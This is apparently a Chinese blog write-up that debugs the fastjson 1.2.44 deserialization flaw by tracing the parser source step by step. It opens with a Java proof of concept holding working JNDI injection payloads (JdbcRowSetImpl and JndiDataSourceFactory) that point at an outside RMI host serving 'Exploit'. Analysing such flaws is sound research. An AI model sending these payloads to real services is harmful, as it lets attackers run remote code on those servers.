首先这个漏洞调试不需要非要使用docker,本身是一个jar包的问题。所以我们可以自己写一个小java代码来直接调试。
POC如下
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.ParserConfig;
public class Main {
public static void main(String[] args)
{
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
//ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
//String payload1 = "{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\"properties\":{\"data_source\":\"rmi://fast.s.pproot.com/Exploit\"}}";
String payload2 = "{\"name\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"x\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://fast.s.pproot.com/Exploit\",\"autoCommit\":true}}";
JSON.parse(payload2);
}
}
java代码如上,下载fastjson-1.2.44.jar放到对应lib目录下,并把lib目录加入到libraries上。
在JSON.parse(payload);下断点,调试。
public static Object parse(String text, int features) { return parse(text, ParserConfig.getGlobalInstance(), features); }
在这块,我个人认为ParserConfig.getGlobalInstance()主要是获取整个代码调用fastjson的时候的设置的环境变量,也就是说,如果在代码块未对一些配置参数更改,那这块获取的配置就是默认的配置环境。
环境可以理解为,就是一些参数值是true还是false。
我们可以看到,autoTypeSupport是false的,在一些文章里,我们也搜到了一些fastjson rce漏洞 的解决方案之一就是ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
public static Object parse(String text, ParserConfig config, int features) { if (text == null) { return null; } DefaultJSONParser parser = new DefaultJSONParser(text, config, features); Object value = parser.parse(); parser.handleResovleTask(value); parser.close(); return value; }
来到DefaultJSONParser parser = new DefaultJSONParser(text, config, features);
text就是传入的poc,config就是之前的全局环境配置。我们假设我们不知道哪里触发的,于是我们就要跟入一下new DefaultJSONParser这个实例化操作。
public DefaultJSONParser(final String input, final ParserConfig config, int features){ this(input, new JSONScanner(input, features), config); }
到这块,继续深入。可以通过查看dnslog,发现还没收到请求,说明还没触发漏洞。
text值转入了input,new JSONScanner里面
/fastjson-1.2.44-sources.jar!/com/alibaba/fastjson/parser/JSONLexerBase.java
第1104行
protected final static char[] typeFieldName = ("\"" + JSON.DEFAULT_TYPE_KEY + "\":\"").toCharArray();
出现了poc里面的一个关键词,JSON.DEFAULT_TYPE_KEY为@type
搜索资料显示JSONLexerBase
JSONLexer是个接口类,定义了各种当前状态和操作接口。JSONLexerBase是对JSONLexer实现的抽象类,类似于序列化的SerializeWriter类,专门解析json字符串,并做了很多优化。实际使用的是JSONLexerBase的两个子类JSONScanner和JSONLexerBase,前者是对整个字符串的反序列化,后者是接Reader直接序列化。
可以看到我们调用了JSONScanner,所以这个漏洞也可以称作反序列化漏洞。
不过我对上面红色的话有异议,因为我搜索了全局的JSONLexerBase,我发现JSONLexerBase的子类只有JSONScanner,且子类名应该和父类不同同名,所以猜测有一定的错误性,但是JSONScanner是用来反序列化这点应该是没有什么问题的。
继续跟进
public JSONScanner(String input, int features){ super(features); text = input; len = text.length(); bp = -1; next(); if (ch == 65279) { // utf-8 bom next(); } }
text值又为poc了,应该是保持之前的上下文变量统一。
跟到进入
1 public char charAt(int index) { 2 if ((index < 0) || (index >= value.length)) { 3 throw new StringIndexOutOfBoundsException(index); 4 } 5 return value[index]; 6 }
这块没啥用,本来以为会在JSONScanner类里面触发,发现没有,调回到外层的this了。
this(input, new JSONScanner(input, features), config);
这个this其实就是本身DefaultJSONParse类的同名的构造方法,三个形参的那个同名构造方法。
代码如下:
public DefaultJSONParser(final Object input, final JSONLexer lexer, final ParserConfig config){ this.lexer = lexer; this.input = input; this.config = config; this.symbolTable = config.symbolTable; int ch = lexer.getCurrent(); if (ch == '{') { lexer.next(); ((JSONLexerBase) lexer).token = JSONToken.LBRACE; } else if (ch == '[') { lexer.next(); ((JSONLexerBase) lexer).token = JSONToken.LBRACKET; } else { lexer.nextToken(); // prime the pump } }
input是poc,lexer是带有poc的整个反序列化状态环境,config是全局fastjson配置环境变量集合。
if (ch == '{') { lexer.next(); ((JSONLexerBase) lexer).token = JSONToken.LBRACE; } else if (ch == '[') { lexer.next(); ((JSONLexerBase) lexer).token = JSONToken.LBRACKET; } else { lexer.nextToken(); // prime the pump }
到这段代码才是真正处理剖析poc的内容。{开头是对象,[开头是数组。
判断第一个字符是{后退出。(⊙o⊙)…,没在DefaultJSONParse触发poc,跳回到执行
Object value = parser.parse();
继续进入DefaultJSONParse.parse下面
因为是之前同类下面所以,this.lexer还是带有poc的环境情况变量的值。
public Object parse(Object fieldName) { final JSONLexer lexer = this.lexer; switch (lexer.token()) {
lexer.token值是12
case跳到
case LBRACE: JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField)); return parseObject(object, fieldName);
查看了LBRACE是全局定义了12。
传入JSONObject类的实例化
进入同名构造函数
public JSONObject(boolean ordered){ this(DEFAULT_INITIAL_CAPACITY, ordered); }
DEFAULT_INITIAL_CAPACITY为全局常量为16
ordered为false
public JSONObject(int initialCapacity, boolean ordered){ if (ordered) { map = new LinkedHashMap<String, Object>(initialCapacity); } else { map = new HashMap<String, Object>(initialCapacity); } }
因为这边没有poc,所以肯定也不在这块触发。
后面很多都是在处理,我本身跟踪花了很大的一部分时间。
还是在com.alibaba.fastjson.parser.DefaultJSONParser类里
if (ch == '"') { key = lexer.scanSymbol(symbolTable, '"'); lexer.skipWhitespace(); ch = lexer.getCurrent(); if (ch != ':') { throw new JSONException("expect ':' at " + lexer.pos() + ", name " + key); } }
循环出key的值为@type。
感觉大概率是这边下面了。JSON.DEFAULT_TYPE_KEY为@type,!lexer.isEnabled(Feature.DisableSpecialKeyDetect))为true。
if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) { String typeName = lexer.scanSymbol(symbolTable, '"'); if (lexer.isEnabled(Feature.IgnoreAutoType)) { continue; } Class<?> clazz = null; if (object != null && object.getClass().getName().equals(typeName)) { clazz = object.getClass(); } else { clazz = config.checkAutoType(typeName, null, lexer.getFeatures()); } if (clazz == null) { map.put(JSON.DEFAULT_TYPE_KEY, typeName); continue; } lexer.nextToken(JSONToken.COMMA); if (lexer.token() == JSONToken.RBRACE) { lexer.nextToken(JSONToken.COMMA); try { Object instance = null; ObjectDeserializer deserializer = this.config.getDeserializer(clazz); if (deserializer instanceof JavaBeanDeserializer) { JavaBeanDeserializer javaBeanDeserializer = (JavaBeanDeserializer) deserializer; instance = javaBeanDeserializer.createInstance(this, clazz); for (Object o : map.entrySet()) { Map.Entry entry = (Map.Entry) o; Object entryKey = entry.getKey(); if (entryKey instanceof String) { FieldDeserializer fieldDeserializer = javaBeanDeserializer.getFieldDeserializer((String) entryKey); if (fieldDeserializer != null) { fieldDeserializer.setValue(instance, entry.getValue()); } } } } if (instance == null) { if (clazz == Cloneable.class) { instance = new HashMap(); } else if ("java.util.Collections$EmptyMap".equals(typeName)) { instance = Collections.emptyMap(); } else { instance = clazz.newInstance(); } } return instance; } catch (Exception e) { throw new JSONException("create instance error", e); } } this.setResolveStatus(TypeNameRedirect); if (this.context != null && fieldName != null && !(fieldName instanceof Integer) && !(this.context.fieldName instanceof Integer)) { this.popContext(); } if (object.size() > 0) { Object newObj = TypeUtils.cast(object, clazz, this.config); this.parseObject(newObj); return newObj; } ObjectDeserializer deserializer = config.getDeserializer(clazz); return deserializer.deserialze(this, clazz, fieldName); }
String typeName = lexer.scanSymbol(symbolTable, '"');
scanSymbol就是循环取出""里面的内容。
所以typeName的内容是org.apache.ibatis.datasource.jndi.JndiDataSourceFactory
额外知识,看这个object.getClass().getName().equals(typeName)
其实使用了java的反射技巧,通过object这个实力,取getClass,通过实例取到类的内容,然后getName()获得这个object这个实例的类名。
clazz = config.checkAutoType(typeName, null, lexer.getFeatures());
跟进checkAutoType看到条件
if (typeName.length() >= 128 || typeName.length() < 3) { throw new JSONException("autoType is not support. " + typeName); }
要求如果typeName太长,或者太短会报错。
fastjson-1.2.44-sources.jar!/com/alibaba/fastjson/parser/DefaultJSONParser.java的205行循环遍历,
循环到
if (!objParsed) { obj = this.parseObject(input, key); }
key为x,进入parseObject。等同于对x的值进行了,进一步的解析。也就是
ObjectDeserializer deserializer = config.getDeserializer(clazz);
然后取到了deserializer ,com.sun.rowset.JdbcRowSetImpl的反序列化的类
return deserialze(parser, type, fieldName, 0);
到这边卡住了,但是跳过这一步就是收到了dnslog。
因此最关键的就在这个deserialze下面。